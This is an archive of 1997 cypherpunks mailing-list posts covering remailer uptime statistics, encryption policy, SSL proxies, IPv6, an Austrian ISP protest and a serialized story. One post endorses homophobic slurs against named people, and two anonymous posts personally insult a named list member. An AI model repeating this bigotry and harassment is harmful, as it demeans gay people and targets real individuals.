$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 24 Mar 97 6:48:58 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             --###*+***##    18:54 100.00%
hidden   remailer@hidden.net              #####+***###     1:55  99.99%
balls    remailer@huge.cajones.com         #########+#     3:23  99.94%
shaman   remailer@lycaeum.org             *+*++*+++-++    23:55  99.92%
lucifer  lucifer@dhp.com                  +*++++++++++    35:54  99.91%
winsock  winsock@rigel.cyberpass.net      ----_-.-----  5:07:09  99.89%
weasel   config@weasel.owl.de             ++++--+++--   2:47:00  99.89%
cyber    alias@alias.cyberpass.net        + - +++*+***    35:59  99.69%
exon     remailer@remailer.nl.com         #* #+#*#*+##    16:00  99.61%
dustbin  dustman@athensnet.com            ++.+  ++ +++    44:28  99.26%
replay   remailer@replay.com              +*_   -**-**  4:29:56  99.15%
jam      remailer@cypherpunks.ca          ** **** * **    21:53  99.05%
squirrel mix@squirrel.owl.de              ++++--+++--   4:36:01  98.56%
reno     middleman@cyberpass.net          *  -     +-+    44:40  97.15%
mix      mixmaster@remail.obscura.com     _ _. +-      51:47:04  88.89%
extropia remail@miron.vip.best.com        -_..- .      21:51:10  65.36%
middle   middleman@jpunix.com             ++-+*+++        35:43  46.02%
haystack haystack@holy.cow.net               ++           52:19  26.11%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 24 Mar 1997 06:25:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: BXA on Crypto Plans
Message-ID: <199703241425.GAA06543@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Fri, 21 Mar 1997 08:42:22 -0500
> To:            cypherpunks@toad.com
> From:          John Young <jya@pipeline.com>
> Subject:       BXA on Crypto Plans
> Reply-to:      John Young <jya@pipeline.com>

> Excerpt of BXA head William Reinsch statement on Goodlatte's
> SAFEncryption Bill HR 695 on March 20, 1997:
> 
> [...]
> To that end, 
> we will shortly submit legislation intended to do the following:
> 
>   Expressly confirm the freedom of domestic users to choose any 
>   type or strength of encryption.
> 
>   Explicitly state that participation in the key management 
>   infrastructure is voluntary.
> 

I think we should ponder the validity of the underlying assumption
here - that there will be *one* PKI system, and (speculating here)
(i) the government sets what it's requirements are, and (ii) they
will include compromising one's private keys.


> 
>   Offers, on a voluntary basis, firms that are in the business 
>   of providing public cryptography keys the opportunity to 
>   obtain government recognition, allowing them to market the 
>   trustworthiness implied by government approval.
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

This is a joke, right?

Peter Trei
trei@process.com

Disclaimer: I do not represent my employer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pittsburgh Admin <pgh@dhp.com>
Date: Mon, 24 Mar 1997 07:17:28 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142104.PAA02356@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970324101600.12885C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Igor Chudov @ home wrote:

> Dave Hayes wrote:
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> 
> Not all of you freedom-knights are good at it at all.
> 
> I would go as far as to say that only you, Dave Hayes, are good at it.
> 
> 	- Igor.
> 

Well, you see, it is TOUGH to be "ignorant."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 24 Mar 1997 07:26:17 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Security of SSL proxies
Message-ID: <199703241526.HAA07715@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


pgut001@cs.auckland.ac.nz (Peter Gutmann) writes:
> A number of vendors are now selling SSL proxies which implement secure 
> tunnelling for web browsers using a non-crippled SSL implementation running on 
> the client machine.  Has anyone considered the total security level provided 
> by one of these systems?  I can see three problems with this approach:
>  
> 1. The security stops a few feet short of the browser, making a MITM attack 
>    possible (see below).
>  
> 2. Security and authentication is handled by the proxy and not the browser.  
>    This means that the browser (and browser user) never get to see the usual 
>    indicators that their connection is secure (or "secure" for non-US users).
>  
> 3. If you use a proxy like this to protect traffic for an entire company, the 
>    proxy provides the same type of target as a GAK key center: An attack which 
>    compromises this compromises security for the entire company.
[problems with this approach deleted]

> Peter.

I'm a little confused by your use of the term 'SSL proxy'. Netscape 
defined an extension to HTTP to allow SSL traffic through a firewall:
the encrypted request is prepended (in clear) with the actual 
destination IP address and port. The firewall proxy then opens a 
TCP/IP channel to the actual destination/port, and blindly relays packets
between the actual destination and the browser until one side or the
other shuts down the link.

The proxy does no encryption or decryption - in fact, it requires no 
crypto code at all. 

(BTW: this what setting the 'security proxy' field in Netscape is 
all about).

The scheme has some drawbacks 

- there is no provision for chaining proxies. 
- the server can't determine the source browser's IP - it only sees 
  the proxy's IP address. This makes it more difficult to filter 
  requests based on source ID.
- the proxy has no idea of the actual URL requested - proxies which
  want to filter or log requests based on URL can't do so.

Or are you talking about something entirely different? 

Peter Trei
(yes, I've implemented the above)
trei@process.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 24 Mar 1997 09:29:23 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: UK TTP regs
In-Reply-To: <3.0.1.32.19970324021936.0281a038@mail.io.com>
Message-ID: <3336B9DB.7D7A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:

> Last week's hearing for the ProCODE bill totally ignored...
>  the Fourth Amendment 
> law enforcement...contemptuous of the law itself 
> using its power to perpetuate itself
> various flavors of political or personal repression
> various Red Squads
> the COINTELPRO operation against domestic dissident groups,
> harassment of...activists,
> local police...spying 
> Ruby Ridge, Waco, Operation MOVE
> FBI crime lab...altering lab reports...perjured testimony
> cops who fuck up for political reasons
> spooks/cops who sell out just for money 
> street-level corrupt cops who "look the other way", steal from
> suspects/defendants, "borrow" from evidence lockers, carry "throw-down" guns

> Which is a lot of rant to say that I don't think the sky is falling in the UK
> just yet.

  But you've made a damn good case for running for cover in the U.S.
  You ought to rant more often.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Mon, 24 Mar 1997 14:41:15 -0800 (PST)
To: Law &amp; Policy of Computer Communications              <CYBERIA-L@LISTSERV.AOL.COM>
Subject: Re: American Registry for Internet Numbers?
In-Reply-To: <3336AA95.1FC1@dc.net>
Message-ID: <3.0.1.32.19970324113046.00624588@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:23 AM 3/24/97 -0800, Robert Cannon <cannon@DC.NET> wrote:
>Does anyone know anything about ARIN (see www.arin.net).  This is a
>proposal to make IP numbering allocation seperate from domain name
>registration.  Currently NSI is paying for IP numbering paid for with
>its domain name fees.  Thus NSI is a big advocate of getting rid of this
>work which it is not receiving profit from.  But I find it difficult to
>discern from the ARIN web site how credible this proposal is. 

I'm not sure how credible it is.  However, a proposal to pay for
IP addresses now would be really bad timing.  The reason is that
sometime soon the net is going to change to IPv6.  It's not clear when,
given some of the stopgap measures to get by with existing IP space,
but it will probably be within the next 2-3 years.
There are three main differences between IPv6 and the current IPv4
1) It's different, so you need to upgrade your routers and machines,
	which is expensive and annoying.
2) IPSEC security feature support is mandatory, so various government
	agencies are footdragging
3) Addresses are 128 bits long instead of 32 bits.   
	
32 bits is 	4 billion, which would be enough for almost 
everybody on the planet to have one (except that the addressing 
structure wastes part of the space.)
64 bits is almost enough for everyone on the planet to have
a network number with a host number for everyone else.
It's almost enough for every human neuron on the planet to have an address.
128 bits is far, far larger than that.  Even if we waste lots of space
by using an inefficient structure, which we will to make routing easier,
there's still mindbogglingly more space than anyone needs.

There are two reasons to charge for Internet numbers:
1) Even if you've got nearly infinite supplies, somebody still
needs to coordinate it to prevent collisions, and this has non-zero cost.
2) Today, numbers are in short supply, so charging for them can
help reduce waste and bring in revenue for the lucky contractor,
especially if you charge by the address or size of address block.
Tomorrow, there are so many numbers that charging by the number
doesn't make sense - all you need is an initial coordination cost.
So if you want to make big bucks on this business tomorrow,
you'd better get the market locked in today.

There are alternative approaches that don't even require a registry.
For example, divide the address space into a 48-bit host part
(Ethernet numbers are unique) and an 80-bit network part,
and just pick a random network part.  On the average, the probability
of collisions is very low unless 2**40 other people are playing,
and you can put all the machines you want on that network.
If that's not guaranteed enough for you, you could use an
Ethernet board number as the network number (even if your
network isn't Ethernet based, you can buy a $50 board :-)

To put costs in perspective, the last time I checked, the Ethernet
industry charged manufacturers $1000 for a 24-bit chunk of numbers,
and there are 2**23 chunks available; there are very few manuacturers
who'll ever need to buy a second chunk, and not many manufacturers,
so this relatively high price is reasonable.  On the other hand,
if somebody wanted to set up a web-based registry of IPv6 numbers,
they could dole them out for a few dollars per chunk, most of which
would be spent on billing.  Perhaps the Ethernet folks could sell
IPv6 registry space for $1000/registry?

A bit of initial coordination can set aside different parts of the
number space for different strategies, and let the market settle it. 



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Mon, 24 Mar 1997 08:28:59 -0800 (PST)
To: trei@process.com
Subject: Re: Security of SSL proxies
In-Reply-To: <199703241526.HAA07715@toad.com>
Message-ID: <199703241638.LAA16180@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Trei writes:
> 
> pgut001@cs.auckland.ac.nz (Peter Gutmann) writes:
> > A number of vendors are now selling SSL proxies which implement secure 
> > tunnelling for web browsers using a non-crippled SSL implementation running on 
> > the client machine.

> I'm a little confused by your use of the term 'SSL proxy'. Netscape 
> defined an extension to HTTP to allow SSL traffic through a firewall:
> the encrypted request is prepended (in clear) with the actual 
> destination IP address and port. The firewall proxy then opens a 
> TCP/IP channel to the actual destination/port, and blindly relays packets
> between the actual destination and the browser until one side or the
> other shuts down the link.

> Or are you talking about something entirely different? 

Something different.  There are several products that are designed to
improve the strength of the encryption securing the connection between
the browser and server.  Here are a couple of URLs with more info:

    http://www.c2.net/products/spwp/
    http://www.medcom.se/ssr/

I believe there are a couple of other competitors as well, but don't 
know the URLs.


-- Jeff




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 24 Mar 1997 09:59:13 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: [PGP-USERS] JFYI: Austria goes offline
Message-ID: <3.0.1.32.19970324124527.007c1a80@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Sender: helmberg@mailhost.via.at
>Date: Mon, 24 Mar 1997 16:07:03 +0100
>To: <pgp-users@rivertown.net>
>From: Florian Helmberger <helmberg@via.at>
>Subject: [PGP-USERS] JFYI: Austria goes offline
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I thought this might be of interest for some of you guys...
>
>More info about this action is accessable at <http://www.internet.at>.
>
>***
>    ====================
>    Austria goes Offline
>    ====================
>
>    On Tuesday, 25.3.1997, Austria's ISPs are going to shutdown all their
>    Internet services from 16:00 to 18:00 MET.  The reason for this unique
>    action is the recent seize of all computer equipment of a Viennese ISP
>    by the police as pieces of evidence.  This official act was triggered by
>    a denunciation versus persons unknown regarding child pornography dating
>    10.3.1996 (! one year ago !).
>
>    Confiscation of equipment after more than one year doesn't seem to be
>    appropriate for securing evidence.  The current legal status doesn't
>    clearly define the position of an ISP and doesn't specify general
>    guidelines for the responsibility of content of the Internet.  With the
>    general shutdown Austria's ISPs are demonstrating the only mode of
>    operation which is evidently conforming to current law.
>
>    Apart from the existing willingness for co-operation Austria's ISPs are,
>    at the same time, offering practical support for the legal authority
>    like free Internet access and training for their staff.
>
>    From: "Christian Panigl, ACOnet/UniVie"
>***
>
>Best wishes,
>Florian
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3i
>Charset: cp850
>
>iQB1AwUBMzaYlHA6iYwSpSQNAQG5KgMAjeCROiykp0KxRhwBEtjrHgeK4wHqrTry
>v1racUrPbqkIW1B9yLvc8yzkJ4v0+r1Bd7a2OBRbvcxm9TgtS8MzMy+vPumTgL7v
>0kj3Qkt8NDYrU3nIHmrcriSlkZ8G7W7T
>=Nk8a
>-----END PGP SIGNATURE-----
>
>___________________________________________________________________________
>Florian Helmberger                           http://home.pages.de/~helmberg
>------------------------------[Quote of the day]---------------------------
>"I am a marvellous housekeeper.  Every time I leave a man, I keep his
> house."
>    -- Zsa Zsa Gabor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Mon, 24 Mar 1997 14:41:21 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <9703240919.aa17593@gonzo.ben.algroup.co.uk>
Message-ID: <3.0.1.32.19970324125938.00624588@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:51 AM 3/24/97 -0500, "Michael Froomkin - U.Miami School of Law" 
<froomkin@law.miami.edu> wrote:
>It may be that in the UK/EU usage has moved (been moved?) to the point
>where TTP => escrow.  If so, this is as unfortunate as the term "escrow"
itself.
The UK folks who introduced the term TTP did it in the context of escrow.

> I prefer "key bailment" myself.  
> It more closely captures the legal relationships.  
What a great term!  It does sound like it covers the legal relationship,
and it sounds like something the average person would rather avoid,
as opposed to escrow which is has a neutral-to-positive sound, 
or "Trusted Third Party" which drips saccharine
	"We're from H.M.Government, and we're here to help you"

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Yu-Hyun Kim (5808) <yhkim@dingo.etri.re.kr>
Date: Mon, 24 Mar 1997 00:06:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: I want to see your paper " A New Attack to RSA on Tamperproof Devices".
Message-ID: <199703240453.NAA08514@dingo.etri.re.kr>
MIME-Version: 1.0
Content-Type: text/plain



 Dear Sir,

Would you send me the full paper "A New Attack to RSA on Tamperproof Devices"?

Yu-Hyun Kim

yhkim@dingo.etri.re.kr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Mon, 24 Mar 1997 11:22:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: INFO: Pro-CODE testimony available now online at democracy.net!
Message-ID: <199703241922.OAA28863@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


==========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
 Enhancing Participation in the Democratic Process Through the Internet
_________________________________________________________________________
Update No.2          http://democracy.net/               March 20, 1997
_________________________________________________________________________
Table of Contents

 - democracy.net Cybercast draws Thousands to Interactive Hearing
 - Upcoming Events
 - Volunteering for democracy.net
 - About democracy.net
___________________________________________________________________________

DEMOCRACY.NET CYBERCAST DRAWS THOUSANDS TO INTERACTIVE CONGRESSIONAL HEARING

democracy.net, a project designed to explore ways of enhancing citizens
participation in the democratic process via the Internet, held its first
live, interactive cybercast of a Congressional hearing on Wednesday March
19th, 1997.

Thousands of Internet users joined this historic event by listening to a
live audio feed from the hearing (cybercast over the Internet via
RealAudio), submitting questions and testimony for the hearing record, reading
information about the hearing, and joining a simultaneous online discussion
forum to discuss the hearing with Congressional staff and policy experts.

The hearing was held by the Senate Commerce Committe to consider S. 377,
the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
issue of US encryption policy -- a critical issue to the Internet user
community.

Some statistics from the event.

* 6,019 individual Internet users visited the democracy.net web site
  containing information about the Hearing, links to both sides of the
  issue, and other relevant information in the 24 hours preceding the
  event.

* 703 individuals listened to the hearing live online via Real Audio
  throughout the 3 hour event.  The actual Senate hearing room (Russell
  253) where the event took place only holds less than one hundred people
  when filled to capacity (as it was for this hearing).

* Throughout the event, between 20 - 50 people joined the simultaneous
  live chat discussion where Commerce Committee staff and encryption
  policy experts fielded questions and discussed the hearing.  The
  audience included individual Internet users, reporters, advocacy
  groups, and Congressional staff.

* Twenty-three Internet users submitted formal comments for the hearing
  record via the democracy.net web page, including IETF chair Fred Baker.

The democracy.net cybercast was promoted on the front page of Netscape's
World Wide Web site (one of the most popular destinations on the entire
Web) on March 18 - 19. The site is also featured at Progressive Networks
WebActive Site of the Week for the week of March 17-21.

Despite some technical bugs early on (par for the course for a cutting-edge
Internet event such as this), the cybercast went even better than we
anticipated. We are grateful to Brett Scott, Mike Rawson, Matt Raymond,
Mike Inners, and Pia Pialorsi of the Senate Commerce Committee staff for
their help and support of this effort.

Archives of the hearing are posted http://democracy.net/events/03191997/

democracy.net is a new project of the Center for Democracy and Technology
and the Voters Telecommunications Watch designed to explore ways of
enhancing citizen particpation in the democratic process via the Internet.
democracy.net is made possible through the generous support of Webactive
Panix, Digex, and the Democracy Network. Visit
http://democracy.net/about/ for more details.

______________________________________________________________________________
UPCOMING EVENTS

* April 10, 8:30PM EST - Online town hall meeting with Rep. Rick White
  (R-WA), Co-Founder of the Congressional Internet Caucus

* April 16, 8:30PM EST - Online town hall meeting with Rep. Anna Eshoo (D-CA),
  Key Representative from California's Silicon Valley and leader on Internet
  Policy issues.

* Additional events are in the works -- please visit http://www.democracy.net
  for more details, and sign up for our event announcement mailing list.

democracy.net town hall meetings will be moderated by Todd Lappin (Cyber
Rights Editor for Wired Magazine). The town hall meetings are designed to
bring interested members of the Internet community and key members of
congress together to discuss current Internet policy issues.

____________________________________________________________________________
VOLUNTEERING FOR DEMOCRACY.NET

A volunteer is needed to help index the RealAudio transcript of the
hearing.  If you would like to help, please do the following and mail the
results to webmaster@democracy.net.

To index the RealAudio transcript, please listen to the transcript and
watch the time counter at the bottom right of the page.  Please note the
following beginning and ending times:
   -whenever a new witness begins their prepared testimony and,
   -whenever a question and answer section begins.

Mail them to us at webmaster@democracy.net with the start and stop times
of each section.  Thanks!

____________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
PANIX Internet, the Democracy Network, and DIGEX Internet.  More
information about the project can be found at
http://democracy.net/about/

To receive democracy.net announcements automatically, please visit
http://democracy.net/
_____________________________________________________________________________
end Update No.2
03.20.97
=============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pittsburgh Admin <pgh@dhp.com>
Date: Mon, 24 Mar 1997 12:08:50 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Gays are Wired Differently
In-Reply-To: <3303DD64.3685@gte.net>
Message-ID: <Pine.LNX.3.95.970324150423.28116B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


an astute comment here below.

On Thu, 13 Feb 1997, Dale Thorn wrote:

> aga wrote:
> > On 12 Feb 1997, Against Moderation wrote:
> > > aga <aga@dhp.com> writes:
> > > > Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> > > > have anything to do with it?
> 
> > > Doubtful.  Given the fact that gay people suffer a great deal of
> > > discrimination, they generally tend to be fairly open-minded.  I see
> > > no reason to believe Gilmore is in fact gay, but if he is it in no way
> > > affects my opinion of him.
> 
> (It sure doesn't affect my opinion of him.  He's such a total jerk
> and a conspiring creep that I haven't had to consider anything else).
> 
> Funny, isn't it?  Those people who *allegedly* suffer the most dis-
> crimination seem to be having the most fun, if you can call it that.
> If I were gay, which I'm not, I could get all the boyfriends I want.
> But being heterosexual, I would very much like to have women friends
> (just as friends mind you) for ordinary social purposes, yet it's not
> that easy.  I'd guess the gays are much more liberal with their multi-
> friendships than straight people are.
> 
> Another funny thing - I'm an ordinary English/Welsh/Dutch White person,
> and I've had plenty of White friends, and an equal percentage of Black
> friends given the number of Black people I've known, but I've never
> had a friend who was gay or lesbian, as far as I know, and I think
> I could tell.  I can only guess that the gays are very clique-ish,
> or their brains are wired differently than non-gays.
> 

That is it in a nutshell.
faggots are just not built like straight people.

> > Well, the fact remains that the homos are instrumental in creating and
> > forming a cliquish and censored usenet.  There is just no question
> > about that.  Remember the previous cypherpunk who stated that the
> > gays "created and run usenet."

and they were serious about that fact.

J.D. Falk was one of the faggots that said that, too.

> > It is very logical and wise to discriminate on the basis of sex.
> > I am not a racist, so therefore I can not be a "bigot," regardless of
> > my views on homosexuality.
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 24 Mar 1997 17:13:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703250019.QAA14324@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] Mayonnaise's abysmal grammar, atrocious 
spelling and feeble responses clearly identify him as a 
product of the American education system.

         ___
       ./_ -\.
      q| o O |p
  -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 24 Mar 1997 17:13:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703250020.QAA14541@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Many forgeries are traceable with mathematical certainty to 
feebleminded Tim C[rook] May's poison keyboard.

         ( )( )________ Tim C[rook] May
         /00           \      _
        O_\\--mm---mm  /_______)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Mon, 24 Mar 1997 14:04:54 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Remailer problem solution?
In-Reply-To: <199703232314.XAA01324@server.test.net>
Message-ID: <Pine.LNX.3.95.970324164349.142L-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 23 Mar 1997, Adam Back wrote:

-> Sergey Goldgaber <sergey@el.net> writes:
-> > 
-> > This is only a practical problem related to PGP's lack of popularity.
-> > The proposed solution will work in the long run, assuming PGP achieves
-> > great popularity.  Thus, education of the public concerning PGP and remailers
-> > will help make this solution more effective.
-> 
-> Yeah, but if we get to the stage where most people with email
-> addresses have PGP keys, sending messages encrytped with PGP won't
-> reduce the number of people subjected to messages the don't want to
-> see.

PGP's current lack of popularity does not prevent spammers from using
it.

-> A side benefit of using PGP, is that PGP encryption should add some
-> overhead to the spammer -- he can probably encrypt less messages per
-> second than he can spam down a T3 link.

Exactly!  A 400,000 address spam will take a non-trivial ammount of time
to prepare (46 days, assuming 10secs/message) if every message must be
encrypted with an individual's key.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 24 Mar 1997 09:25:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 15
Message-ID: <859223961.114510.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



                                                  The True Story of the InterNet 
                                                                    Part II

                                       WebWorld & the Mythical 'Circle of Eunuchs'

                                                               by Arnold

Copyright 1995, 1996, 1997 Pearl Publishing


Initiation
-----------

Jonathan was a wreck. A totally nervous wreck. 

The bottle of bourbon was almost empty, but that was O.K., he had more-plenty more. He knew that the 
woman who came to 'initiate' him into the circle was right about Bubba Rom Dos. Just an old, drunken has-
been who liked to shoot his mouth off and act important, rambling on about things he knew nothing about.

But Jonathan knew about these weird, evil things. He knew much more than he wanted to know about them. 
Things that he couldn't forget, no matter how hard he tried.

After he had been to see Bubba, receiving only a denial of the Magic Circle's existence (from a young girl 
whose existence was so real that he still thought about her), Jonathan had immersed himself in scanning old 
CyberPosts...email, he corrected himself...that dated from the early CypherPunks era.
It was a twisted, rambling trail that was woven around and through the history of the CypherPunks. 
CryptoRebels, CyberHackers, Spooks, Phreaks, and Phantoms...
Everybody had an angle, or a game, and even the players often seemed unsure of who they were playing 
with, or against.

Was it Gilmore, or Hughes-Jonathan couldn't remember, it had been so many years ago-who had stood on 
the desk in his grandfather's study, and uttered the words which might well have been the official battle-cry 
of the CypherPunks?
"Close ranks-every man for himself."

Jonathan had pored over the archive surrounding the date of the legendary moderation experiment on the 
list. It was an archive that Jonathan's grandfather, among others, had used for PseudoID Traffic Analysis, 
along with UNIX route tracing records and information secretly gleaned from the military's Onion Routers, 
in order to attempt to "separate the  double agents from the triple agents," as one of the Russian list 
members, Igor, used to say.
Jonathan still remembered the one time that he had received a scathing rebuke from all present in his 
grandfather's study, as a result of suggesting that they could learn much of what they needed to know by 
studying the remailer records.
Big mistake.

Jonathan immediately found himself surrounded by a plethora of enraged CypherPunks who obviously 
didn't give a fat rat's ass whether he was a mere child, or not-nobody questioned their integrity regarding 
their foremost contribution to anarchy...end of story.

One of the CypherPunks picked him up by his collar, lifting him up to eye level, and said, in deadly serious, 
deep-throated tones,
"You don't tug on Superman's cape. You don't spit in the wind. You don't peek in the files on your own 
remailer, and you don't mess around with Jim."

To Jonathan's great relief, the whole ragged band broke out in laughter. Jonathan learned later that the 
gentleman who had 'corrected' him, Jim, was the author of an Assassination Bot-one which had begun as a 
theoretical exercise, and later became a major tool in the implementation of the CypherPunks launching of 
Channel War II.
Jonathan shook his head slowly, trying to convince himself that this was all a dream, and that he wasn't 
really irrevocably connected to this band of fringe-dwellers, rogues and eccentrics.
It didn't work.

He remembered the night that Priscilla had knocked on his door, and in his rush to shut off his blue-light 
unit he answered the door with his upper body uncovered. He was terrified when he realized that this 
woman, whom he had never seen before, was standing there, dumbfounded, staring at his tattoo.
Jonathan had almost fainted with relief when she stepped inside the door, quickly shutting it, reached into 
her cloak, and pulled out a bottle of Jack Daniel's, with a label he instantly recognized, saying in a quiet, 
calm voice, "We need to talk."

Tuesday was the worst. That was what set off his three-day binge. He had been working on his skills, like 
